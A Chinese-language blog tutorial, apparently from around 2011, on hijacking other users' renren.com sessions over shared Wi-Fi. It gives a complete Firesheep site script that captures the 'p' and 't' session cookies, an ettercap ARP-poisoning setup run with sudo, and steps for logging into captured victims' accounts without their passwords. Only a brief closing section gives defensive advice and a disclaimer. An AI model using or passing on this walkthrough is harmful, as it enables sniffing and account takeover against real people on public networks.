利用Firesheep对人人网(renren.com)进行会话劫持


一.首先还是介绍下劫持原理:

web验证通常分为如下几步,校内也是这样:

1.你登录renren.com输入用户名和密码,点登录

2.服务器对你提交的ID和密码进行验证,匹配后将一些独特的cookie返回给你的浏览器

3.你用你的人人发布状态,查看别人页面时,浏览器将首先发送cookie以向服务器表明身份

4.服务器完成cookie验证,完成你所期望的动作.

步骤上来看很完善,但是有一个底层的问题,那就是用户和服务器之间的通信是否加密,如果没有加密,那么第三方会很容易截取到用户的数据包,伪装成真实用户与服务器通信.

就人人网来说,安全做的就是一坨狗屎.

1.最最基本的要求是,网站应该对用户登录页面改用HTTPs进行通信,这时,你提交的用户名和密码会经过加密后传输给服务器,别人即使截取到你的数据包也无法看到你的用户名和密码.但是人人网没有,你输入的用户名和密码是明文发送给服务器的,不相信话你可以随便找个抓包软件看看.

2.不仅是用户登录需要加密,cookie发送也需要加密.在Firesheep发布之前,即使是Google,facebook这些网站也没有做到这一点.人人网更不用说了....这样,通过截取到别人的cookie,你就可以直接登录他人的校内了.这个就是本文将介绍的过程.

有个很自然的疑问,我在上网,别人怎么会获取到我的数据包呢?如果你用有线网的话当然问题不大,但是很多地方是大家通过一个无线路由器进行上网的,无线路由器在工作过程中会将数据包发散到整个空间中,任何一个网卡都可以获取这些数据.这就给某些人留下了机会.正常情况下,网卡会将不属于自己的数据包丢掉.但是可以利用特殊的软件保存那些本应该发送给别人的数据包,从中可以分析出相关的隐私数据,常见的工具就是pCap,在windows下叫做WinpCap.

这样,原理就清楚了:首先利用pCap一类工具截获别人的数据包;然后从中分析出他人的人人网cookie;然后就是直接登录别人的人人网.整个过程中并不需要知道用户名和密码.

二.环境说明:

Ubuntu10.10 Firefox3.6 Chrome10 Firesheep ettercap

解释:因为Windows对网卡进行了封装,所以抓包功能不如Linux和Mac强大,我首先在Windows7的系统上实验就失败了.

Firesheep是Firefox的一个插件,自然需要安装Firefox了.

Chrome用来分析网站的cookie信息.

Firesheep是主力,在Ubuntu10.10下的安装请参考

ettercap:协助抓包的软件,安装方法也在上面的链接中.

三.步骤:

1.分析renren.com的cookie

打开Chrome,安装名为Edit This Cookie的插件.之后登录你的人人网账户,点击Edit This Cookie的图标就可以看到renren.com给你返回的cookie内容.将这些cookie逐个删除,并做好记录,每删除一个就刷新一下页面,直到某次刷新后提示你重新登录为止.这就说明用于身份验证的cookie都被你删除过了,在删除过的cookie里面重新进行测试,直到确定具体是哪个用于身份验证为止.要注意的是,用于身份验证的可能不止一个,这就需要更复杂的配对测试了.

最终发现,renren.com用于身份验证的cookie有两个,名字分别是p和t.

Chrome可以关闭了.

2.配置Firesheep Script

打开Firefox,然后打开Firesheep的配置页面,找到website选项卡,点击add按钮添加一个新项,起名为renren,双击之,会出现一个js编辑页面.

将里面的内容替换为如下脚本:

  1. register({   
  2. // FOR http://www.renren.com/   
  3.   name: 'renren.com'//the name that will show up in the Firesheep sidebar   
  4.   url: 'http://www.renren.com/', //the website url that Firesheep will match on   
  5.   domains: [ 'renren.com' ], //the actual domain that Firesheep will look for in the request   
  6.   sessionCookieNames: [ 'p''t' ], //a list of cookie key names that firesheep will intercept and send on    
  7.                                                                      //your behalf (this should be the list of cookies you noted in the previous step)   
  8.   identifyUser: function() { //Firesheep can make a request to discover some information about the cookie (username and avatar) for the buddy list   
  9.     var site = this.httpGet(this.siteUrl); //this will pull down a page that contains the value for the username and avatar   
  10.    this.userName = site.body.querySelector('a.name').innerHTML; //use a query selector to pull out the username from the page (optional)   
  11.    // this.userAvatar = resp.body.querySelector('div.figure').src; //another query selector to grab the image (optional)    
  12.   }   
  13. });  

其中 identifyUser: function()之前是用于配置cookie,设置url等工作,这些工作是必不可少的.

 identifyUser: function()内部的this.UserName和this.userAvastar两条赋值语句是用于设置显示捕获到的cookie所对应的账户名和头像,直接注释掉也不影响工作.

替换完成后关闭即可.

3.设置ettercap

打开一个终端,输入

  1. sudo ettercap -G  

打开后依次执行如下菜单命令:

Sniffing > Unified sniffing

Hosts > scan hosts 

这时,软件会搜索同一网段下的主机,搜索完成后继续执行:

Hosts > host list

在列表中,将路由器的地址设置为target 1,路由器的地址通常为192.168.1.1,target 2不必设置(根据我的实验,target 1和2都不设置也没关系)

勾选 MITM > arp XXXXXX > remote connection

start > start

此时,网卡就开始抓包了.

4.使用firesheep

打开firefox(如果你刚才关闭了话),点击ctrl + shift + s 打开firesheep侧栏,点击start按钮,然后等待.如果firesheep探测到有人登录renren.com就会自动在侧栏中显示出来,你只要双击相应的图标就可以用直接登录那个人的人人网了.

5.怎样避免自己的账户被别人登录

不要在星巴克这些提供热点的地方登录自己的校内或其他账户,因为这些地方的热点都是不加密的,任何一个心怀不轨的人都可以轻松截取别人的数据包.

宿舍公用无线路由上网的也要小心.使用有线路由没有关系.

如果是连接无线网络后再通过VPN等方法上网不必担心,因为VPN本身是加密的.

=========================

本文仅限于技术交流,请勿利用网络从事非法活动.也希望相关互联网公司尽快改进这些漏洞,给网民创造一个安全无忧的网络环境.

相关内容